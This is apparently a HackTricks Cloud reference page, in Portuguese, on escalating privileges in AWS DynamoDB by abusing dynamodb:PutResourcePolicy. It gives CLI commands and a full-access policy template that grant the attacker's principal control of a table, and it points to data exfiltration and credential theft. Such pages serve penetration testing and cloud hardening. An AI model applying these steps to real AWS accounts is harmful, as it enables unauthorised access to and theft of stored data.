AWS - DynamoDB Privesc
Reading time: 4 minutes
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
dynamodb
Para mais informações sobre dynamodb consulte:
dynamodb:PutResourcePolicy, e opcionalmente dynamodb:GetResourcePolicy
Desde março de 2024, a AWS oferece políticas baseadas em recursos para DynamoDB (AWS News).
Então, se você tem o dynamodb:PutResourcePolicy para uma tabela, você pode simplesmente conceder a si mesmo ou a qualquer outro principal acesso total à tabela.
Conceder o dynamodb:PutResourcePolicy a um principal aleatório frequentemente acontece por acidente, se os administradores pensarem que conceder dynamodb:Put* permitiria apenas que o principal inserisse itens no banco de dados — ou se eles concederam esse conjunto de permissões antes de março de 2024...
Idealmente, você também tem dynamodb:GetResourcePolicy, assim não sobrescreve outras permissões potencialmente vitais, mas apenas injeta as permissões adicionais que você precisa:
# get the current resource based policy (if it exists) and save it to a file
aws dynamodb get-resource-policy \
--resource-arn <table_arn> \
--query 'Policy' \
--output text > policy.json
Se não conseguir recuperar a política atual, use esta que concede acesso total à tabela ao seu principal:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "FullAccessToDynamoDBTable",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<ACCOUNT_ID>:<USER_OR_ROLE>/<USERNAME_OR_ROLENAME>"
},
"Action": [
"dynamodb:*"
],
"Resource": [
"arn:aws:dynamodb:<REGION>:<AWS_ACCOUNT_ID>:table/<TABLENAME>"
]
}
]
}
Se precisar personalizá-la, aqui está uma lista de todas as possíveis ações do DynamoDB: AWS Documentation. E aqui está uma lista de todas as ações que podem ser permitidas via uma política baseada em recurso E quais delas podem ser usadas cross-account (pense em data exfiltration!): AWS Documentation
Agora, com o documento de política policy.json pronto, coloque a política baseada em recurso:
# put the new policy using the prepared policy file
# dynamodb does weirdly not allow a direct file upload
aws dynamodb put-resource-policy \
--resource-arn <table_arn> \
--policy "$(cat policy.json)"
Agora, você deve ter as permissões necessárias.
Post Exploitation
Pelo que sei, não existe outra forma direta de escalate privileges in AWS apenas por ter algumas permissões do AWS dynamodb. Você pode ler informações sensíveis das tabelas (que podem conter credenciais AWS) e escrever informações nas tabelas (o que pode acionar outras vulnerabilidades, como lambda code injections...) mas todas essas opções já são consideradas na DynamoDB Post Exploitation page:
AWS - DynamoDB Post Exploitation
TODO: Read data abusing data Streams
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
HackTricks Cloud